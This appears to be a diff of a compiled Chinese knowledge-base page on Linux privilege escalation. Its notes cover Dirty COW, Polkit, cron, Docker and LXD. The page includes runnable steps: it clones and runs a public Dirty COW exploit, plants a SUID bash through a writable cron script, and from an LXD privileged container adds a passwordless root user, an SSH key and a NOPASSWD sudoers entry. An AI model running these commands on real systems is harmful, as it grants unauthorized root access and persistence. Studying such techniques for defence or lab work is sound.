\u51fd\u6570\u662f\u7528\u6765\u521b\u5efa\u5185\u5b58\u6620\u5c04\u7684\u51fd\u6570\u3002\u901a\u8fc7\u5185\u5b58\u6620\u5c04\uff0c\u53ef\u4ee5\u5c06\u4e00\u6bb5\u6587\u4ef6\u6216\u5176\u4ed6\u5bf9\u8c61\u6620\u5c04\u5230\u8fdb\u7a0b\u7684\u5730\u5740\u7a7a\u95f4\uff0c\u4ece\u800c\u53ef\u4ee5\u76f4\u63a5\u8bbf\u95ee\u8be5\u5bf9\u8c61\u3002"}),"\n",(0,i.jsx)(e.p,{children:"proc/self/mem \u6587\u4ef6\u662f Linux \u7684\u4e00\u4e2a\u7279\u6b8a\u6587\u4ef6\uff0c\u5b83\u5141\u8bb8\u7a0b\u5e8f\u76f4\u63a5\u8bbf\u95ee\u5f53\u524d\u8fdb\u7a0b\u7684\u865a\u62df\u5185\u5b58\u7a7a\u95f4\u3002\u901a\u8fc7\u8bfb\u5199 /proc/self/mem \u6587\u4ef6\uff0c\u53ef\u4ee5\u76f4\u63a5\u5728\u865a\u62df\u5185\u5b58\u4e2d\u4fee\u6539\u6307\u5b9a\u5185\u5b58\u4f4d\u7f6e\u7684\u6570\u636e\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5199\u5165 /proc/self/mem \u5b8c\u6210\u540e\uff0c\u5185\u6838\u9700\u8981\u5728\u7269\u7406\u5185\u5b58\u4e0a\u5bfb\u627e\u5199\u5165\u7684\u4f4d\u7f6e\uff0c\u6b64\u65f6\u8fd8\u672a\u5f00\u59cb\u5199\u5165\u3002\u5e76\u884c\u8fd0\u884c\u4e24\u4e2a\u7ebf\u7a0b\uff0c\u7b2c\u4e00\u4e2a\u7ebf\u7a0b\u7684\u529f\u80fd\u662f\u5199\u5165\u7269\u7406\u5185\u5b58\uff0c\u5b83\u5305\u62ec\u4e24\u4e2a\u64cd\u4f5c\uff0c\u5206\u522b\u662f\u5b9a\u4f4d\u5230\u7269\u7406\u5185\u5b58\u548c\u5199\u5165\u7269\u7406\u5185\u5b58\u3002\u5728\u5b9a\u4f4d\u7269\u7406\u5185\u5b58\u4f4d\u7f6e\u65f6\uff0c\u5185\u6838\u53d1\u73b0\u7269\u7406\u5185\u5b58\u4e2d\u5df2\u7ecf\u6709\u4e86\u4e00\u4e2a /etc/group \u6587\u4ef6\uff0c\u8fd9\u65f6\u89e6\u53d1\u5199\u65f6\u590d\u5236\uff0c\u5185\u6838\u51c6\u5907\u5728\u7269\u7406\u5185\u5b58\u4e2d\u627e\u5230\u4f4d\u7f6e\u521b\u5efa\u79c1\u6709\u6620\u5c04\u7684\u526f\u672c\uff0c\u7136\u540e\u5199\u5165\u3002\u5728\u5199\u5165\u4e4b\u524d\uff0c\u8fd0\u884c\u7b2c\u4e8c\u4e2a\u7ebf\u7a0b\uff0c\u5176\u529f\u80fd\u662f\u8c03\u7528 madvise \u51fd\u6570\uff0c\u901a\u77e5\u5185\u6838\u4e0d\u518d\u9700\u8981\uff08MADV_DONTNEED\uff09\u79c1\u6709\u6620\u5c04\u3002\u8fd9\u6837\uff0c\u5185\u6838\u5c31\u6709\u53ef\u80fd\u4f1a\u88ab\u6b3a\u9a97\uff0c\u8ba4\u4e3a\u7a0b\u5e8f\u5199\u5165\u7684\u662f\u539f\u59cb\u6587\u4ef6\u3002\u901a\u8fc7\u65e0\u9650\u5faa\u73af\u8fd9\u4e24\u4e2a\u7ebf\u7a0b\uff0c\u5c31\u6709\u53ef\u80fd\u5b8c\u6210\u7ade\u4e89\u6761\u4ef6\uff0c\u6210\u529f\u5730\u5199\u5165\u539f\u59cb\u6587\u4ef6"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u6848\u4f8b"})}),"\n",(0,i.jsx)(e.p,{children:"\u9996\u5148\u4e0b\u8f7dexp\uff0c\u7531\u4e8e\u88c5\u4e86git\uff0c\u8fd9\u91cc\u5c31\u76f4\u63a5clone\u4e86"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"git clone https://github.com/gbonacini/CVE-2016-5195.git\n# \u8fdb\u5165\u76ee\u5f55make\u751f\u6210\u53ef\u6267\u884c\u6587\u4ef6\ncd CVE-2016-5195 && make\n# \u6267\u884cmake\u597d\u7684\u6587\u4ef6\uff0c\u5373\u53ef\u81ea\u52a8\u5b8c\u6210\u5229\u7528\u5e76\u63d0\u6743\n./dcow -s\n\n"})}),"\n",(0,i.jsx)(e.h3,{id:"polkit-\u63d0\u6743cve-2021-4034",children:"Polkit \u63d0\u6743\uff08CVE-2021-4034\uff09"}),"\n",(0,i.jsx)(e.p,{children:"polkit\u662f\u4e00\u4e2a\u6388\u6743\u7ba1\u7406\u5668\uff0c\u5176\u7cfb\u7edf\u67b6\u6784\u7531\u6388\u6743\u548c\u8eab\u4efd\u9a8c\u8bc1\u4ee3\u7406\u7ec4\u6210\uff0cpkexec\u662f\u5176\u4e2dpolkit\u7684\u5176\u4e2d\u4e00\u4e2a\u5de5\u5177\uff0c\u4ed6\u7684\u4f5c\u7528\u6709\u70b9\u7c7b\u4f3c\u4e8esudo\uff0c\u5141\u8bb8\u7528\u6237\u4ee5\u53e6\u4e00\u4e2a\u7528\u6237\u8eab\u4efd\u6267\u884c\u547d\u4ee4polkit \u63d0\u4f9b\u4e86\u4e00\u4e2a\u6388\u6743 API\uff0c\u4f9b\u7279\u6743\u7a0b\u5e8f\uff08\u201c MECHANISMS \u201d \uff09\u4f7f\u7528\uff0c\u901a\u5e38\u901a\u8fc7\u67d0\u79cd\u5f62\u5f0f\u7684\u8fdb\u7a0b\u95f4\u901a\u4fe1\u673a\u5236\u4e3a\u975e\u7279\u6743\u7a0b\u5e8f\uff08 \u201c SUBJECTS \u201d\uff09\u63d0\u4f9b\u670d\u52a1\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u8be5\u673a\u5236\u901a\u5e38\u5c06\u4e3b\u4f53\u89c6\u4e3a\u4e0d\u53d7\u4fe1\u4efb\u3002\u5bf9\u4e8e\u6765\u81ea\u4e3b\u4f53\u7684\u6bcf\u4e2a\u8bf7\u6c42\uff0c\u8be5\u673a\u5236\u9700\u8981\u786e\u5b9a\u8be5\u8bf7\u6c42\u662f\u5426\u88ab\u6388\u6743\uff0c\u6216\u8005\u5b83\u662f\u5426\u5e94\u8be5\u62d2\u7edd\u4e3a\u4e3b\u4f53\u63d0\u4f9b\u670d\u52a1\u3002\u4f7f\u7528 polkit API\uff0c\u4e00\u79cd\u673a\u5236\u53ef\u4ee5\u5c06\u6b64\u51b3\u5b9a\u8f6c\u4ea4\u7ed9\u53d7\u4fe1\u4efb\u7684\u4e00\u65b9\uff1apolkit \u6743\u5a01\u3002polkit \u6743\u9650\u88ab\u5b9e\u73b0\u4e3a\u7cfb\u7edf\u5b88\u62a4\u8fdb\u7a0b polkitd (8)\uff0c\u5b83\u672c\u8eab\u6ca1\u6709\u4ec0\u4e48\u7279\u6743\uff0c\u56e0\u4e3a\u5b83\u4ee5 polkitd\u7cfb\u7edf\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u3002\u673a\u5236\u3001\u4e3b\u4f53\u548c\u8ba4\u8bc1\u4ee3\u7406\u4f7f\u7528\u7cfb\u7edf\u6d88\u606f\u603b\u7ebf\u4e0e\u6388\u6743\u673a\u6784\u8fdb\u884c\u901a\u4fe1\u3002\u9664\u4e86\u4f5c\u4e3a\u6388\u6743\u4e4b\u5916\uff0cpolkit \u8fd8\u5141\u8bb8\u7528\u6237\u901a\u8fc7\u9a8c\u8bc1\u7ba1\u7406\u7528\u6237\u6216\u5ba2\u6237\u7aef\u6240\u5c5e\u4f1a\u8bdd\u7684\u6240\u6709\u8005\u6765\u83b7\u5f97\u4e34\u65f6\u6388\u6743\u3002\u8fd9\u5bf9\u4e8e\u673a\u5236\u9700\u8981\u9a8c\u8bc1\u7cfb\u7edf\u7684\u64cd\u4f5c\u5458\u786e\u5b9e\u662f\u7528\u6237\u8fd8\u662f\u7ba1\u7406\u7528\u6237\u7684\u573a\u666f\u5f88\u6709\u7528\u6f0f\u6d1e\u70b9\u903b\u8f91\uff1a\u6267\u884cpkexec\u65f6\uff0c\u6307\u5b9a\u4e86\u6076\u610f\u7684envp[0]\uff0c\u90a3\u4e48\u53ef\u4ee5\u5199\u5165\u4e00\u4e2a\u73af\u5883\u53d8\u91cf\u5230\u76ee\u6807\u8fdb\u7a0b\u7a7a\u95f4\u4e2d"}),"\n",(0,i.jsx)(e.h3,{id:"\u8ba1\u5212\u4efb\u52a1-\u63d0\u6743",children:"\u8ba1\u5212\u4efb\u52a1 \u63d0\u6743"}),"\n",(0,i.jsx)(e.p,{children:"**\u5b9a\u65f6\u4efb\u52a1\uff08cron job\uff09**\u53ef\u4ee5\u7528\u6765\u8bbe\u7f6e\u5468\u671f\u6267\u884c\u7684\u547d\u4ee4\uff0c\u63d0\u6743\u7684\u539f\u7406\u4e3a\u8ba1\u5212\u4efb\u52a1\u4ee5root\u6743\u9650\u8fd0\u884c\uff0c\u8ba1\u5212\u4efb\u52a1\u4e2d\u7684\u811a\u672c\u5176\u4ed6\u7528\u6237\u6709\u5199\u5165\u7684\u6743\u9650\uff0c\u6216\u8005\u811a\u672c\u6240\u5c5e\u7ec4\u4e3a\u5176\u4ed6\u7528\u6237\uff0c\u5219\u53ef\u4ee5\u8fdb\u884c\u8ba1\u5212\u4efb\u52a1\u63d0\u6743\u3002\u5e38\u7528\u547d\u4ee4\u5982\u4e0b\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"crontab -e"})," \u7f16\u8f91\u8ba1\u5212\u4efb\u52a1"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"crontab -l"})," \u67e5\u770b\u8ba1\u5212\u4efb\u52a1"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"crontab -r"})," \u5220\u9664\u76ee\u524d\u7684crontab"]}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u8ba1\u5212\u4efb\u52a1\u63d0\u6743"})," \u662f\u901a\u8fc7\u6ee5\u7528\u7cfb\u7edf\u4e2d\u7684\u5b9a\u65f6\u4efb\u52a1\uff08cron\uff09\u6765\u5b9e\u73b0\u6743\u9650\u63d0\u5347\u3002\u82e5\u67d0\u4e9b\u5b9a\u65f6\u4efb\u52a1\u811a\u672c\u7531 root \u7528\u6237\u8fd0\u884c\uff0c\u4f46\u5176\u811a\u672c\u8def\u5f84\u6216\u8c03\u7528\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\u53ef\u88ab\u4f4e\u6743\u9650\u7528\u6237\u4fee\u6539\uff0c\u5c31\u53ef\u4ee5\u63d2\u5165\u6076\u610f\u547d\u4ee4\uff0c\u7b49\u5b9a\u65f6\u4efb\u52a1\u89e6\u53d1\u540e\u4ee5 root \u6743\u9650\u6267\u884c\uff0c\u4ece\u800c\u5b8c\u6210\u63d0\u6743\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5e38\u89c1\u5229\u7528\u573a\u666f\u662f ",(0,i.jsx)(e.code,{children:"/etc/crontab"})," \u6216 ",(0,i.jsx)(e.code,{children:"/etc/cron.d/*"})," \u4e2d\u6709\u5982\u4e0b\u5185\u5bb9\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"* * * * * root /usr/local/bin/backup.sh\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u5f53\u524d\u7528\u6237\u53ef\u4ee5\u4fee\u6539 ",(0,i.jsx)(e.code,{children:"/usr/local/bin/backup.sh"}),"\uff0c\u5c31\u53ef\u4ee5\u5199\u5165\u5982\u4e0b\u5185\u5bb9\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u7b49\u5f85 cron \u81ea\u52a8\u6267\u884c\u540e\uff0c\u5373\u53ef\u4f7f\u7528\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"/tmp/rootbash -p\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u83b7\u5f97 root shell\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u79cd\u63d0\u6743\u65b9\u5f0f\u901a\u5e38\u9700\u8981\u7ed3\u5408\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"find / -writable -type f 2>/dev/null\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7b49\u547d\u4ee4\u5bfb\u627e\u53ef\u5199\u811a\u672c\uff0c\u6216\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"pspy"})," \u5de5\u5177\u76d1\u542c\u5b9a\u65f6\u4efb\u52a1\u6267\u884c\u884c\u4e3a\uff0c\u662f\u5b9e\u6218\u4e2d\u975e\u5e38\u5e38\u89c1\u7684\u4e00\u79cd\u63d0\u6743\u624b\u6bb5\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"docker-\u63d0\u6743",children:"Docker \u63d0\u6743"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"Docker \u5bb9\u5668\u5185\u9003\u9038\u63d0\u6743"})," \u662f\u6307\u653b\u51fb\u8005\u5728\u5bb9\u5668\u5185\uff0c\u901a\u8fc7\u5229\u7528\u5bbf\u4e3b\u673a\u4e0e\u5bb9\u5668\u4e4b\u95f4\u7684\u63a5\u53e3\u6216\u6743\u9650\u914d\u7f6e\u7f3a\u9677\uff0c\u4ece\u5bb9\u5668\u4e2d\u7a81\u7834\u9694\u79bb\u9650\u5236\uff0c\u83b7\u5f97\u5bbf\u4e3b\u673a\u6743\u9650\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5e38\u89c1\u9003\u9038\u65b9\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u6302\u8f7d\u5bbf\u4e3b\u673a\u6587\u4ef6\u7cfb\u7edf\u7684\u5bb9\u5668"}),"\uff08\u5982 ",(0,i.jsx)(e.code,{children:"/"})," \u6302\u5230\u5bb9\u5668\u4e2d\uff09\uff1a\n\u5bb9\u5668\u5185\u53ef\u6267\u884c\uff1a\nchroot /mnt\n\u5c31\u53ef\u4ee5\u8bbf\u95ee\u5bbf\u4e3b\u673a\u7684\u6839\u76ee\u5f55\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"/var/run/docker.sock \u6302\u8f7d\u5230\u5bb9\u5668\u4e2d"}),"\uff1a\n\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7 docker API \u64cd\u4f5c\u5bbf\u4e3b\u673a\u5bb9\u5668\uff0c\u521b\u5efa\u6302\u8f7d\u4e86 ",(0,i.jsx)(e.code,{children:"/"})," \u7684\u65b0\u5bb9\u5668\uff0c\u4ece\u800c\u5b9e\u73b0\u5bbf\u4e3b\u673a root \u63d0\u6743\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u5177\u6709 CAP_SYS_ADMIN \u7b49\u9ad8\u6743\u9650\u7684\u5bb9\u5668"}),"\uff1a\n\u5982\u679c\u5bb9\u5668\u8fd0\u884c\u65f6\u52a0\u4e86 ",(0,i.jsx)(e.code,{children:"--cap-add=ALL"})," \u6216 ",(0,i.jsx)(e.code,{children:"--privileged"}),"\uff0c\u5373\u53ef\u5229\u7528\u5185\u6838\u63a5\u53e3\uff08\u5982\u6302\u8f7d\u3001\u52a0\u8f7d\u6a21\u5757\uff09\u8fdb\u884c\u63d0\u6743\u6216\u9003\u9038\u3002"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"docker run --rm -it --privileged alpine\nmount -t proc proc /proc\nchroot /host\n"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"\u5229\u7528\u5df2\u77e5\u5185\u6838\u9003\u9038\u6f0f\u6d1e"}),"\uff1a\n\u5982\u679c\u5bbf\u4e3b\u673a\u5185\u6838\u5b58\u5728\u6f0f\u6d1e\uff08\u5982 Dirty COW\u3001overlayfs\uff09\uff0c\u5bb9\u5668\u5185\u53ef\u7528\u672c\u5730\u63d0\u6743 exploit \u5b9e\u73b0\u5bbf\u4e3b\u673a\u63d0\u6743\u3002"]}),"\n"]}),"\n",(0,i.jsx)(e.h3,{id:"k8s-\u63d0\u6743cve-2018-1002105",children:"K8s \u63d0\u6743\uff08CVE-2018-1002105\uff09"}),"\n",(0,i.jsx)(e.h3,{id:"lxd-\u63d0\u6743",children:"LXD \u63d0\u6743"}),"\n",(0,i.jsx)(e.p,{children:"LXD\uff08Linux Container Daemon\uff09\u662f\u4e00\u4e2a\u7528\u4e8e\u7ba1\u7406 Linux \u5bb9\u5668\u7684\u5de5\u5177\u3002\u5728\u9ed8\u8ba4\u914d\u7f6e\u6216\u7ba1\u7406\u4e0d\u5f53\u7684\u60c5\u51b5\u4e0b\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528 LXD \u8fdb\u884c\u672c\u5730\u63d0\u6743\uff08Local Privilege Escalation\uff09\uff0c\u83b7\u53d6\u5bbf\u4e3b\u673a\u7684 root \u6743\u9650\u3002"}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"LXD \u63d0\u6743\u539f\u7406"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:["\uff081\uff09\u6838\u5fc3\u95ee\u9898\uff1a\u7279\u6743\u5bb9\u5668\uff08Privileged Containers\uff09\uff1aLXD \u5141\u8bb8\u7528\u6237\u521b\u5efa\u7279\u6743\u5bb9\u5668\uff08",(0,i.jsx)(e.code,{children:"security.privileged=true"}),"\uff09\uff0c\u8fd9\u7c7b\u5bb9\u5668\u4f1a\u7ed5\u8fc7 Linux \u7684\u7528\u6237\u547d\u540d\u7a7a\u95f4\u9694\u79bb\uff08User Namespace\uff09\uff0c\u5bfc\u81f4\u5bb9\u5668\u5185\u7684 root \u7528\u6237\u7b49\u540c\u4e8e\u5bbf\u4e3b\u673a\u7684 root \u7528\u6237\u3002"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:["\uff082\uff09\u5173\u952e\u6761\u4ef6\uff1a\u5f53\u524d\u7528\u6237\u5728 ",(0,i.jsx)(e.code,{children:"lxd"})," \u7528\u6237\u7ec4 / LXD \u670d\u52a1\u672a\u6b63\u786e\u914d\u7f6e\u5b89\u5168\u7b56\u7565\uff08\u5141\u8bb8\u666e\u901a\u7528\u6237\u521b\u5efa\u7279\u6743\u5bb9\u5668\uff09"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"\u63d0\u6743\u8def\u5f84"}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.ol,{children:["\n",(0,i.jsxs)(e.li,{children:["\u7528\u6237\u901a\u8fc7 ",(0,i.jsx)(e.code,{children:"lxd"})," \u7ec4\u6743\u9650\u4e0e LXD \u5b88\u62a4\u8fdb\u7a0b\u901a\u4fe1"]}),"\n",(0,i.jsx)(e.li,{children:"\u521b\u5efa\u7279\u6743\u5bb9\u5668\u5e76\u6302\u8f7d\u5bbf\u4e3b\u673a\u6587\u4ef6\u7cfb\u7edf"}),"\n",(0,i.jsxs)(e.li,{children:["\u5728\u5bb9\u5668\u5185\u4fee\u6539\u5bbf\u4e3b\u673a\u654f\u611f\u6587\u4ef6\uff08\u5982 ",(0,i.jsx)(e.code,{children:"/etc/passwd"}),"\u3001",(0,i.jsx)(e.code,{children:"/etc/shadow"}),"\uff09\u6216\u5199\u5165 SSH \u5bc6\u94a5"]}),"\n",(0,i.jsx)(e.li,{children:"\u83b7\u5f97\u5bbf\u4e3b\u673a root \u6743\u9650"}),"\n"]}),"\n",(0,i.jsx)(e.hr,{}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u5b9e\u9645\u63d0\u6743\u6848\u4f8b\u6f14\u793a"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\u6b65\u9aa4 1\uff1a\u68c0\u67e5\u5f53\u524d\u7528\u6237\u662f\u5426\u5728 ",(0,i.jsx)(e.code,{children:"lxd"})," \u7ec4"]}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"id\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5982\u679c\u8f93\u51fa\u5305\u542b lxd\uff0c\u5219\u5b58\u5728\u63d0\u6743\u53ef\u80fd\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"uid=1001(test) gid=1001(test) groups=1001(test),108(lxd)\n"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u6b65\u9aa4 2\uff1a\u521b\u5efa\u7279\u6743\u5bb9\u5668\u5e76\u6302\u8f7d\u5bbf\u4e3b\u673a / \u76ee\u5f55"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"# \u521d\u59cb\u5316\u4e00\u4e2a\u7279\u6743\u5bb9\u5668\uff08\u4f7f\u7528Ubuntu\u955c\u50cf\uff09\nlxc init ubuntu:22.04 privesc -c security.privileged=true\n\n# \u5c06\u5bbf\u4e3b\u673a\u7684\u6839\u76ee\u5f55`/`\u6302\u8f7d\u5230\u5bb9\u5668\u7684`/mnt/root`\nlxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true\n\n# \u542f\u52a8\u5bb9\u5668\nlxc start privesc\n\n# \u8fdb\u5165\u5bb9\u5668shell\nlxc exec privesc bash\n"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u6b65\u9aa4 3\uff1a\u5728\u5bb9\u5668\u5185\u4fee\u6539\u5bbf\u4e3b\u673a\u6587\u4ef6"}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u5bb9\u5668\u7684 /mnt/root \u5c31\u662f\u5bbf\u4e3b\u673a\u7684 /\uff0c\u53ef\u4ee5\u76f4\u63a5\u4fee\u6539\u5173\u952e\u6587\u4ef6\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u65b9\u6cd5 1\uff1a\u76f4\u63a5\u4fee\u6539 ",(0,i.jsx)(e.code,{children:"/etc/passwd"}),"\uff0c\u6dfb\u52a0 root \u6743\u9650\u7528\u6237"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'echo "hacker::0:0::/root:/bin/bash" >> /mnt/root/etc/passwd\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\uff0c\u5728\u5bbf\u4e3b\u673a\u4e0a\u5207\u6362\u5230 ",(0,i.jsx)(e.code,{children:"hacker"})," \u7528\u6237\u5373\u53ef\u83b7\u5f97 root\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"su hacker\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsxs)(e.strong,{children:["\u65b9\u6cd5 2\uff1a\u5199\u5165 SSH \u516c\u94a5\u5230 ",(0,i.jsx)(e.code,{children:"/root/.ssh/authorized_keys"})]})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:'mkdir -p /mnt/root/root/.ssh\necho "ssh-rsa AAAAB3NzaC1yc2E..." >> /mnt/root/root/.ssh/authorized_keys\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u7136\u540e\uff0c\u76f4\u63a5 SSH \u767b\u5f55\u5bbf\u4e3b\u673a\u7684 root \u7528\u6237\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"ssh root@localhost\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsxs)(e.strong,{children:["\u65b9\u6cd5 3\uff1a\u4fee\u6539 ",(0,i.jsx)(e.code,{children:"/etc/sudoers"})," \u8ba9\u5f53\u524d\u7528\u6237\u514d\u5bc6\u63d0\u6743"]})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /mnt/root/etc/sudoers\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\uff0c\u5728\u5bbf\u4e3b\u673a\u4e0a\u6267\u884c ",(0,i.jsx)(e.code,{children:"sudo su"})," \u5373\u53ef\u83b7\u5f97 root\u3002"]})]})}function a(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(x,{...n})}):x(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/6348281b.160c09e1.js b/en/assets/js/6348281b.160c09e1.js new file mode 100644 index 0000000..de5fe9c --- /dev/null +++ b/en/assets/js/6348281b.160c09e1.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4145],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>o});var s=n(96540);const r={},l=s.createContext(r);function i(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function o(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(l.Provider,{value:t},e.children)}},94306:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>o,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","title":"4.3 DenseNet.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.3 DenseNet.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/4.3 DenseNet.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"4.2 GoogleNet.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet"},"next":{"title":"4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b"}}');var r=n(74848),l=n(28453);const i={},o="4.3 DenseNet.md",d={},c=[];function h(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"43-densenetmd",children:"4.3 DenseNet.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 